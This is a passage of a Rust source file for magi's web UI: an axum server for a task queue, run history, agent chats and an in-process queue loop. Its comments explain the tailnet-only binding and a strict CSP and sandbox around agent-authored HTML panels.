Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # An interview is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/chats/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one chat are refused rather
68//! than queued - see [`Ui::begin_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{chat, daemon, report, repos, run, talk};
125
126/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
127pub const DEFAULT_PORT: u16 = 7878;
128
129/// How often the change stream restats the queue and the runs directory.
130const POLL: Duration = Duration::from_secs(1);
131
132/// Keep-alive interval for the change stream. Phones and intermediaries drop
133/// an idle connection within a minute; a comment every fifteen seconds keeps
134/// the stream alive without waking the radio often enough to matter.
135const KEEPALIVE: Duration = Duration::from_secs(15);
136
137/// Runs returned when the client does not ask, and the ceiling if it asks for
138/// more. The cap exists because the list handler parses every `run.json` it
139/// returns, and a phone cannot render two thousand rows anyway.
140const LIST_DEFAULT: usize = 50;
141/// Upper bound for `?limit=`.
142const LIST_MAX: usize = 500;
143
144/// Width of a generated task title, matching what the CLI uses.
145const TITLE_MAX: usize = 72;
146
147/// The header that makes serving agent-authored HTML defensible, sent by both
148/// panel routes and asserted verbatim by a test.
149///
150/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
151/// denies every fetch destination that is not re-allowed below, which is all of
152/// them except images and fonts; `img-src 'self' data:` means an image comes
153/// from magi's own asset route or from the document itself, so a panel cannot
154/// signal an outside server by pointing an `<img>` at it - the classic
155/// exfiltration channel for markup that cannot run script. `style-src
156/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
157/// free formatting means here and a style sheet cannot make a request that
158/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
159/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
160/// stops a form posting the owner's decision to a third party, and
161/// `frame-ancestors 'self'` stops another site framing the panel to phish with
162/// it.
163///
164/// There is deliberately no `script-src`: `default-src 'none'` already covers
165/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
166/// denied twice over. Weakening any directive here is the difference between a
167/// panel the owner reads and a page that can talk to the tailnet, which is why
168/// the test compares the whole string rather than looking for a substring.
169const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
170                         font-src data:; base-uri 'none'; form-action 'none'; \
171                         frame-ancestors 'self'";
172
173const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
174const APP_CSS: &str = include_str!("../assets/ui/app.css");
175const APP_JS: &str = include_str!("../assets/ui/app.js");
176
177/// Which address to listen on.
178#[derive(Debug, Clone, Copy, PartialEq, Eq)]
179pub enum Bind {
180    /// Ask Tailscale, and fall back to loopback with a warning.
181    Auto,
182    /// An address the operator named.
183    Addr(IpAddr),
184}
185
186impl std::str::FromStr for Bind {
187    type Err = String;
188
189    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
190    /// the CLI can take `--bind` straight into it: the one spelling of
191    /// `auto` that matters is the one this function knows.
192    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
193        if s.eq_ignore_ascii_case("auto") {
194            return Ok(Self::Auto);
195        }
196        s.parse()
197            .map(Self::Addr)
198            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
199    }
200}
201
202impl std::fmt::Display for Bind {
203    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
204        match self {
205            Self::Auto => f.write_str("auto"),
206            Self::Addr(addr) => write!(f, "{addr}"),
207        }
208    }
209}
210
211/// How to serve.
212#[derive(Debug, Clone)]
213pub struct Opts {
214    /// Address to listen on.
215    pub bind: Bind,
216    /// Port to listen on.
217    pub port: u16,
218    /// Repository used for tasks posted without one.
219    pub repo: PathBuf,
220    /// Print the URL on its own line for a caller that wants to hand it to a
221    /// browser. magi never launches one itself.
222    pub open: bool,
223    /// Merge mode override for the loop this process runs (`none`, `local`,
224    /// `pr`); `None` leaves it to each repository's own config.
225    ///
226    /// The same override `magi serve --merge` takes, and here for the same
227    /// reason: `magi web` is now the thing that runs the loop, so an operator
228    /// who wants this session's runs to open pull requests has to be able to
229    /// say so without going back to the command they no longer type.
230    pub merge: Option<String>,
231}
232
233impl Default for Opts {
234    fn default() -> Self {
235        Self {
236            bind: Bind::Auto,
237            port: DEFAULT_PORT,
238            repo: PathBuf::from("."),
239            open: false,
240            merge: None,
241        }
242    }
243}
244
245/// Everything the handlers touch.
246///
247/// The queue, the runs directory and the magi home are fields rather than
248/// process-global lookups so a test drives the real router against a temp
249/// directory instead of the operator's own history.
250#[derive(Debug, Clone)]
251pub struct Ui {
252    queue: Queue,
253    questions: Questions,
254    chats: Chats,
255    talks: Talks,
256    runs: PathBuf,
257    home: PathBuf,
258    repo: PathBuf,
259    /// Where the runs' worktrees live, for the health disk figures.
260    ///
261    /// Spelled independently of [`crate::run::default_worktree_root`] so the
262    /// test servers can point it at their own temp directory: the health route
263    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
264    /// be measuring the machine instead of the server.
265    worktrees_root: PathBuf,
266    /// Chats with an agent turn in flight right now.
267    ///
268    /// In-process and therefore not durable, which is correct: it guards
269    /// against two taps on one phone and two phones on one tailnet, both of
270    /// which are this process's own concurrency. A second `magi web` would not
271    /// see it, and a second `magi web` on the same home is already a
272    /// misconfiguration the queue's claims would catch first.
273    turns: Arc<Mutex<HashSet<String>>>,
274    /// Talks with an agent turn in flight right now. Separate from `turns`
275    /// because a talk and a chat are different stores with different ids;
276    /// sharing one set would let a chat id collide with a talk id in theory,
277    /// and there is no reason to make the two surfaces share a guard at all.
278    talk_turns: Arc<Mutex<HashSet<String>>>,
279    /// Runs this process is resuming right now.
280    ///
281    /// Separate from `turns` because a run and a chat are different things to
282    /// hold, and a resume is far more expensive to start twice: it re-asks
283    /// agent seats. Same reasoning about scope as `turns` — this guards two
284    /// taps and two phones, which is this process's own concurrency.
285    resuming: Arc<Mutex<HashSet<String>>>,
286    /// The last scan of `[repos] roots`, and when it happened. Shared across
287    /// requests so a phone opening the repository picker repeatedly does not
288    /// repeat the filesystem walk every time - see [`repos::Cache`].
289    repos_cache: repos::Cache,
290    /// Merge mode override handed to the loop this process starts.
291    merge: Option<String>,
292    /// The loop this process is running, if it is running one.
293    looping: Arc<Mutex<LoopState>>,
294    /// How a loop is actually started.
295    ///
296    /// A field rather than a direct call to [`daemon::serve_until`], because
297    /// the real loop resolves its queue and its status file through the
298    /// process-global magi home and claims whatever it finds there. A test
299    /// that started it would reach straight past its own temp directory into
300    /// the operator's live queue, overwrite the status file of the `magi
301    /// serve` that owns it, and spend real agent quota on a real competition.
302    /// What the routes have to get right is the bookkeeping, so the tests
303    /// drive the routes against a loop that only starts and stops; production
304    /// is [`launch_daemon`] and nothing reassigns it.
305    launch: Launch,
306}
307
308impl Ui {
309    /// A server over explicit paths.
310    pub fn new(
311        queue: Queue,
312        questions: Questions,
313        chats: Chats,
314        talks: Talks,
315        runs: PathBuf,
316        home: PathBuf,
317        repo: PathBuf,
318    ) -> Self {
319        Self {
320            queue,
321            questions,
322            chats,
323            talks,
324            runs,
325            home,
326            repo,
327            // The default location, overridden by `with_worktrees_root` - a
328            // builder step rather than a ninth parameter, for the reason
329            // `with_merge` gives.
330            worktrees_root: run::default_worktree_root(),
331            turns: Arc::default(),
332            talk_turns: Arc::default(),
333            resuming: Arc::default(),
334            repos_cache: repos::Cache::new(),
335            merge: None,
336            looping: Arc::default(),
337            launch: launch_daemon,
338        }
339    }
340
341    /// The operator's own state: `<home>/queue`, `<home>/questions`,
342    /// `<home>/chats`, `<home>/talks`, `<home>/runs`.
343    pub fn open(repo: PathBuf) -> Self {
344        Self::new(
345            Queue::open(),
346            Questions::open(),
347            Chats::open(),
348            Talks::open(),
349            run::runs_root(),
350            run::home(),
351            repo,
352        )
353    }
354
355    /// The merge mode the loop should use, as the command line gave it.
356    ///
357    /// A builder step rather than a seventh parameter on [`Ui::new`], because
358    /// the override is a property of how this process was invoked and not of
359    /// where its state lives - which is all the tests that build a `Ui` by
360    /// hand are saying.
361    #[must_use]
362    pub fn with_merge(mut self, merge: Option<String>) -> Self {
363        self.merge = merge;
364        self
365    }
366
367    /// Where the runs' worktrees live, when it is not the default.
368    ///
369    /// The health view sizes this directory, so a test that leaves it at the
370    /// default would be measuring the operator's own machine.
371    #[must_use]
372    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
373        self.worktrees_root = root;
374        self
375    }
376
377    /// Point the loop at something other than [`launch_daemon`].
378    ///
379    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
380    /// this crate may start the real loop.
381    #[cfg(test)]
382    #[must_use]
383    fn with_launch(mut self, launch: Launch) -> Self {
384        self.launch = launch;
385        self
386    }
387
388    /// The loop's state, for [`serve`]'s own way out.
389    fn looping(&self) -> Arc<Mutex<LoopState>> {
390        Arc::clone(&self.looping)
391    }
392
393    /// Start the loop in this process, or say who already has one.
394    ///
395    /// `foreign` is passed in rather than read here so that one request makes
396    /// one judgement about who owns the loop: reading the status file again
397    /// inside this function could refuse a start for a daemon the same
398    /// response then reports as gone.
399    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
400        if let Some(other) = foreign {
401            return Err(ApiError::conflict(format!(
402                "{} is already running the loop, so this one will not start a \
403                 second: two loops on one queue race for the same claims and \
404                 burn the agent quota twice over. Stop it where it was \
405                 started.",
406                other.who()
407            )));
408        }
409        let mut state = self.lock_loop();
410        if state.live.as_ref().is_some_and(Live::alive) {
411            return Err(ApiError::conflict(format!(
412                "this magi web process (pid {}) is already running the loop",
413                std::process::id()
414            )));
415        }
416
417        let stop = daemon::Stop::new();
418        // The CLI's own defaults for everything the UI has no opinion about:
419        // one poll interval and one retry budget, so a loop started from a
420        // phone behaves exactly like the `magi serve` it replaces.
421        let opts = daemon::Opts {
422            repo: self.repo.clone(),
423            merge: self.merge.clone(),
424            ..daemon::Opts::default()
425        };
426        let launch = self.launch;
427        let looping = Arc::clone(&self.looping);
428        let handle = tokio::spawn({
429            let opts = opts.clone();
430            let stop = stop.clone();
431            async move {
432                let failure = match launch(opts, stop).await {
433                    Ok(()) => None,
434                    Err(e) => Some(format!("{e:#}")),
435                };
436                match &failure {
437                    Some(why) => tracing::error!("the loop stopped: {why}"),
438                    None => tracing::info!("the loop stopped"),
439                }
440                // Recorded by the task itself rather than reaped by whichever
441                // request happens next, so `loop_rev` moves the moment the
442                // loop ends and a phone with the change stream open learns
443                // that it did. Clearing `live` drops this task's own handle,
444                // which only detaches it, and is the last thing it does.
445                let mut state = lock_or_recover(&looping);
446                state.live = None;
447                state.last_error = failure;
448                state.rev += 1;
449            }
450        });
451        tracing::info!(
452            "the loop is now running in this process: repo {}, merge {}",
453            opts.repo.display(),
454            opts.merge.as_deref().unwrap_or("as the config says")
455        );
456        state.live = Some(Live { stop, handle, opts });
457        // A fresh start is not the place to keep showing why the last one
458        // died; the operator has read it and pressed the button anyway.
459        state.last_error = None;
460        state.rev += 1;
461        Ok(())
462    }
463
464    /// Ask the loop to stop, without waiting for it to get there.
465    ///
466    /// Idempotent: a second tap on stop is not an error, because the first one
467    /// leaves the loop running for as long as the run in flight takes and the
468    /// operator has no way to tell a slow stop from a lost one.
469    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
470        if let Some(other) = foreign {
471            return Err(ApiError::conflict(format!(
472                "the loop belongs to {}, and this process cannot stop it - \
473                 stop it where it was started. A button that silently did \
474                 nothing would be worse than this refusal.",
475                other.who()
476            )));
477        }
478        let mut state = self.lock_loop();
479        let Some(live) = state.live.as_ref() else {
480            return Ok(());
481        };
482        // A park upgrades a stop that has already been asked for: the
483        // operator who tapped "stop" and then realised the run has an hour
484        // left must not have to restart the loop to change their mind.
485        if live.stop.stopped() && (!park || live.stop.parking()) {
486            return Ok(());
487        }
488        if park {
489            live.stop.park();
490            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
491        } else {
492            live.stop.stop();
493            tracing::info!("the loop was asked to stop; a run in flight is finished first");
494        }
495        state.rev += 1;
496        Ok(())
497    }
498
499    /// The loop as both `/api/loop` and `/api/health` report it.
500    ///
501    /// `reading` is the caller's single read of `<home>/daemon.json`, because
502    /// health answers with this view *and* the daemon object beside it: one
503    /// read per response is what stops a single answer naming a foreign owner
504    /// in one field and calling the loop free in the other.
505    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
506        let state = self.lock_loop();
507        // A loop that panicked never recorded its own end, so the handle -
508        // not the presence of the record - is what "running" means.
509        let live = state.live.as_ref().filter(|live| live.alive());
510        LoopView {
511            running: live.is_some(),
512            stopping: live.is_some_and(|live| live.stop.finishing()),
513            parking: live.is_some_and(|live| live.stop.parking()),
514            owned: live.is_some(),
515            repo: live
516                .map_or(&self.repo, |live| &live.opts.repo)
517                .display()
518                .to_string(),
519            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
520            last_error: state.last_error.clone(),
521            daemon: DaemonView::of(reading),
522        }
523    }
524
525    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
526    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
527        lock_or_recover(&self.looping)
528    }
529
530    /// Claim the right to run one turn in a chat, or refuse.
531    ///
532    /// An interview is strictly turn-based: the interviewing agent is resumed
533    /// with the conversation it already has, so two turns running at once would
534    /// resume the same session twice and append their answers in whatever order
535    /// the two CLIs finished in. The operator would come back to a transcript
536    /// with two half-turns interleaved, which is unreadable and, worse,
537    /// unfixable - there is no undo for a persisted turn.
538    ///
539    /// Refusing with a conflict rather than queueing behind the first turn is
540    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
541    /// link is exactly the case where the operator taps send twice; queueing
542    /// would answer the second tap with a second agent turn on text they only
543    /// meant to send once, and would do it a minute later when they have
544    /// stopped looking. An immediate 409 is a thing the front end can act on.
545    ///
546    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
547    /// taken to test-and-insert and released before the agent is spawned. The
548    /// returned guard removes the id on drop, which is what makes a panicking
549    /// handler or a phone that walks out of range leave the chat usable - axum
550    /// drops the handler future when the client disconnects, and without the
551    /// guard that chat would be wedged until the server restarted.
552    fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
553        let mut live = self
554            .turns
555            .lock()
556            .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
557        if !live.insert(id.to_owned()) {
558            return Err(ApiError::conflict(format!(
559                "chat {id} is already taking a turn"
560            )));
561        }
562        Ok(TurnGuard {
563            chat: id.to_owned(),
564            turns: Arc::clone(&self.turns),
565        })
566    }
567
568    /// [`Ui::begin_turn`]'s counterpart for a talk. Same reasoning throughout:
569    /// a talk's seat is resumed the same way a planning chat's is, so two
570    /// turns running at once would race to append to one CLI conversation.
571    fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
572        let mut live = self
573            .talk_turns
574            .lock()
575            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
576        if !live.insert(id.to_owned()) {
577            return Err(ApiError::conflict(format!(
578                "talk {id} is already taking a turn"
579            )));
580        }
581        Ok(TalkTurnGuard {
582            talk: id.to_owned(),
583            turns: Arc::clone(&self.talk_turns),
584        })
585    }
586
587    /// Park the loop for an upgrade, and report the run that is parking.
588    ///
589    /// A park rather than a stop: a stop waits out the whole competition, and
590    /// not waiting is the point of upgrading from a phone. `None` means
591    /// nothing was in flight, which is worth saying so the operator is not
592    /// told a run is parking when none is.
593    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
594        let parking = {
595            let mut state = self.lock_loop();
596            let Some(live) = state.live.as_ref() else {
597                return Ok(None);
598            };
599            let busy = live.stop.busy_now();
600            live.stop.park();
601            state.rev += 1;
602            busy
603        };
604        Ok(if parking {
605            daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
606        } else {
607            None
608        })
609    }
610
611    /// Claim a run for a resume, on the same reasoning as [`Ui::begin_turn`]:
612    /// a guard that releases on drop, so a disconnected phone does not wedge
613    /// the run until the server restarts.
614    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
615        let mut live = self
616            .resuming
617            .lock()
618            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
619        if !live.insert(id.to_owned()) {
620            return Err(ApiError::conflict(format!(
621                "run {id} is already being resumed"
622            )));
623        }
624        Ok(ResumeGuard {
625            run: id.to_owned(),
626            resuming: Arc::clone(&self.resuming),
627        })
628    }
629
630    /// The router, with this state baked in.
631    ///
632    /// The three front-end files get one explicit route each rather than a
633    /// path parameter, so there is no traversal surface to get wrong: the set
634    /// of servable paths is the set written here. The asset route below is the
635    /// one exception and the only place in this server where a client names a
636    /// file; it is why [`valid_asset_name`] is checked before a path is built.
637    pub fn router(self) -> Router {
638        Router::new()
639            .route("/", get(index))
640            .route("/app.css", get(app_css))
641            .route("/app.js", get(app_js))
642            .route("/api/health", get(health))
643            .route("/api/loop", get(loop_get).post(loop_post))
644            .route("/api/upgrade", post(upgrade_post))
645            .route("/api/runs", get(runs_list))
646            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
647            .route("/api/runs/{id}/report", get(run_report))
648            .route("/api/runs/{id}/fold", post(run_fold))
649            .route("/api/runs/{id}/resume", post(run_resume))
650            .route("/api/queue", get(queue_list))
651            .route("/api/queue/{id}", delete(queue_delete))
652            .route("/api/repos", get(repos_list))
653            .route("/api/queue/{id}/hold", post(queue_hold))
654            .route("/api/queue/{id}/release", post(queue_release))
655            .route("/api/questions", get(questions_list))
656            .route("/api/questions/{id}/answer", post(question_answer))
657            .route("/api/questions/{id}/panel", get(question_panel))
658            // The same asset, reachable from inside the panel by its bare
659            // filename. A document served at `.../panel` resolves `shot.png`
660            // to `.../shot.png`, which is not the asset route, so a panel
661            // written the way its author was told to write it showed broken
662            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
663            // it - deliberately - so the fix is that the panel's own URL ends
664            // in a filename and its siblings are the assets.
665            .route("/api/questions/{id}/panel/index.html", get(question_panel))
666            .route("/api/questions/{id}/panel/{name}", get(question_asset))
667            .route("/api/questions/{id}/asset/{name}", get(question_asset))
668            .route("/api/chats", get(chats_list).post(chat_post))
669            .route("/api/chats/{id}", get(chat_detail))
670            .route("/api/chats/{id}/say", post(chat_say))
671            .route("/api/chats/{id}/file", post(chat_file))
672            .route("/api/talks", get(talks_list).post(talk_post))
673            .route("/api/talks/{id}", get(talk_detail))
674            .route("/api/talks/{id}/say", post(talk_say))
675            .route("/api/talks/{id}/close", post(talk_close))
676            .route("/api/events", get(events))
677            .with_state(Arc::new(self))
678    }
679}
680
681/// One chat's turn slot, released on drop.
682///
683/// A guard rather than a matching `remove` at the end of the handler, because
684/// the handler has several early returns and one `await` that can be cancelled
685/// out from under it. A leaked id is a chat nobody can talk to again.
686#[derive(Debug)]
687struct TurnGuard {
688    chat: String,
689    turns: Arc<Mutex<HashSet<String>>>,
690}
691
692impl Drop for TurnGuard {
693    fn drop(&mut self) {
694        if let Ok(mut live) = self.turns.lock() {
695            live.remove(&self.chat);
696        }
697    }
698}
699
700/// [`TurnGuard`]'s counterpart for a talk's turn slot.
701#[derive(Debug)]
702struct TalkTurnGuard {
703    talk: String,
704    turns: Arc<Mutex<HashSet<String>>>,
705}
706
707impl Drop for TalkTurnGuard {
708    fn drop(&mut self) {
709        if let Ok(mut live) = self.turns.lock() {
710            live.remove(&self.talk);
711        }
712    }
713}
714
715/// Releases a resume claim, so a run is resumable again after the attempt.
716struct ResumeGuard {
717    run: String,
718    resuming: Arc<Mutex<HashSet<String>>>,
719}
720
721impl Drop for ResumeGuard {
722    fn drop(&mut self) {
723        if let Ok(mut live) = self.resuming.lock() {
724            live.remove(&self.run);
725        }
726    }
727}
728
729/// Bind the port, waiting briefly for a predecessor to let go of it.
730///
731/// A restart hands the address from one process to the next, and the old one
732/// holds its listener until it unwinds. A single `bind` can lose that race,
733/// and for a restart triggered from a phone that means the deck never comes
734/// back with no terminal around to say why.
735///
736/// Bounded, and only for the one error a wait can fix: anything else fails at
737/// once, because retrying it would turn a clear message into a silence.
738async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
739    const WINDOW: Duration = Duration::from_secs(10);
740    const GAP: Duration = Duration::from_millis(250);
741
742    let deadline = std::time::Instant::now() + WINDOW;
743    let mut said = false;
744    loop {
745        match tokio::net::TcpListener::bind(socket).await {
746            Ok(listener) => return Ok(listener),
747            Err(e)
748                if e.kind() == std::io::ErrorKind::AddrInUse
749                    && std::time::Instant::now() < deadline =>
750            {
751                if !said {
752                    said = true;
753                    tracing::info!(
754                        "{socket} is still held - waiting up to {}s for it, \
755                         which is what a restart looks like from here",
756                        WINDOW.as_secs()
757                    );
758                }
759                tokio::time::sleep(GAP).await;
760            }
761            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
762        }
763    }
764}
765
766/// Signalled when an upgrade has replaced the binary and the successor should
767/// take this address over. One per process: there is one address to hand on.
768static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
769
770/// Start this binary again with the same arguments, detached.
771///
772/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
773/// so the address is already free when the successor binds it. The first
774/// attempt at this spawned the successor two hundred milliseconds before
775/// exiting instead, and the released binary - which has no bind retry - died
776/// on "address already in use" with its stdio sent to null, so the deck
777/// simply never came back.
778///
779/// Detached and without inherited stdio: the successor has to outlive this
780/// process, and must not hold open a pipe a terminal is waiting on.
781fn spawn_successor() -> Result<()> {
782    let exe = std::env::current_exe().context("find this binary")?;
783    let args: Vec<String> = std::env::args().skip(1).collect();
784    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
785
786    let mut cmd = std::process::Command::new(&exe);
787    cmd.args(&args)
788        .stdin(std::process::Stdio::null())
789        .stdout(std::process::Stdio::null())
790        .stderr(std::process::Stdio::null());
791    #[cfg(windows)]
792    {
793        use std::os::windows::process::CommandExt as _;
794        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
795        // and Ctrl-C in the old terminal must not reach the successor.
796        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
797    }
798    cmd.spawn().context("start the successor")?;
799    Ok(())
800}
801
802/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
803///
804/// The server itself owns no state, so nothing here is graceful for the HTTP
805/// side's sake: the connections go with the dropped listener, which costs a
806/// phone one change-stream reconnection it was going to make anyway.
807///
808/// The signal branch is not optional now that the loop lives in this process.
809/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
810/// handler is what stops the signal terminating the process - so without a
811/// branch of our own, the first Ctrl-C after the operator started the loop
812/// would stop the loop and leave `magi web` listening forever, unkillable
813/// from the terminal it was started in.
814///
815/// What it waits for is the loop, not the sockets. A run in flight is
816/// finished first, for the reason [`daemon::serve`] gives: killing the graph
817/// mid-node leaves worktrees, branches and agent sessions behind and throws
818/// away every agent call already paid for.
819///
820/// The server therefore runs on a task of its own rather than inside the
821/// `select!`: an arm that resolves *drops* the futures the other arms were
822/// polling, so serving the address from inside one would take the deck down
823/// at the instant the handover began and keep it down for the whole park -
824/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
825/// owns the order.
826pub async fn serve(opts: Opts) -> Result<()> {
827    let (addr, warning) = resolve_bind(&opts.bind);
828    if let Some(warning) = warning {
829        tracing::warn!("{warning}");
830    }
831
832    // Process-global, and therefore set exactly once, here: the report route
833    // must never emit escape sequences into a browser, and toggling the flag
834    // per request would race with a concurrent request rendering its own
835    // report. Startup is the only moment at which no request can observe the
836    // change. Nothing in the server turns colour back on.
837    report::set_color(false);
838
839    let ui = Ui::open(opts.repo).with_merge(opts.merge);
840    let looping = ui.looping();
841    let socket = SocketAddr::new(addr, opts.port);
842    let listener = bind_waiting(socket).await?;
843    let url = format!("http://{addr}:{}", opts.port);
844    tracing::info!(
845        "magi web UI on {url} - there is no authentication, so anyone who can \
846         reach this address can file and hold tasks: the tailnet is the \
847         security boundary"
848    );
849    tracing::info!(
850        "the queue loop is not running yet - start it from the UI, which is \
851         the whole reason this process can: nothing in the queue moves until \
852         something is running the loop"
853    );
854    if opts.open {
855        // The URL alone on stdout, for a caller that wants to open it. magi
856        // does not spawn a browser: on the machine this usually runs on there
857        // is no display, and a failed launch would be the only output.
858        println!("{url}");
859    }
860
861    // On its own task, so nothing this function awaits can stop the address
862    // being answered. `hand_over` is where it is given up.
863    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
864    let interrupted = async {
865        if tokio::signal::ctrl_c().await.is_err() {
866            // No handler on this platform, so there is no signal to act on.
867            // Never resolving is the safe answer: a failed registration must
868            // not masquerade as the operator asking for a shutdown and take
869            // the UI down on startup.
870            std::future::pending::<()>().await;
871        }
872    };
873    let handover = HANDOVER.notified();
874    tokio::select! {
875        joined = &mut served => match joined {
876            Ok(outcome) => outcome.context("serve the web UI"),
877            Err(e) => Err(e).context("the task serving the web UI ended"),
878        },
879        () = interrupted => {
880            tracing::info!("shutting down the web UI");
881            finish_loop(&looping).await;
882            Ok(())
883        }
884        () = handover => {
885            tracing::info!("upgraded - handing this address to the successor");
886            hand_over(&looping, served, spawn_successor).await
887        }
888    }
889}
890
891/// Park the loop, then release the address, then start the successor.
892///
893/// The order is the whole function, and each step is answerable to a failure
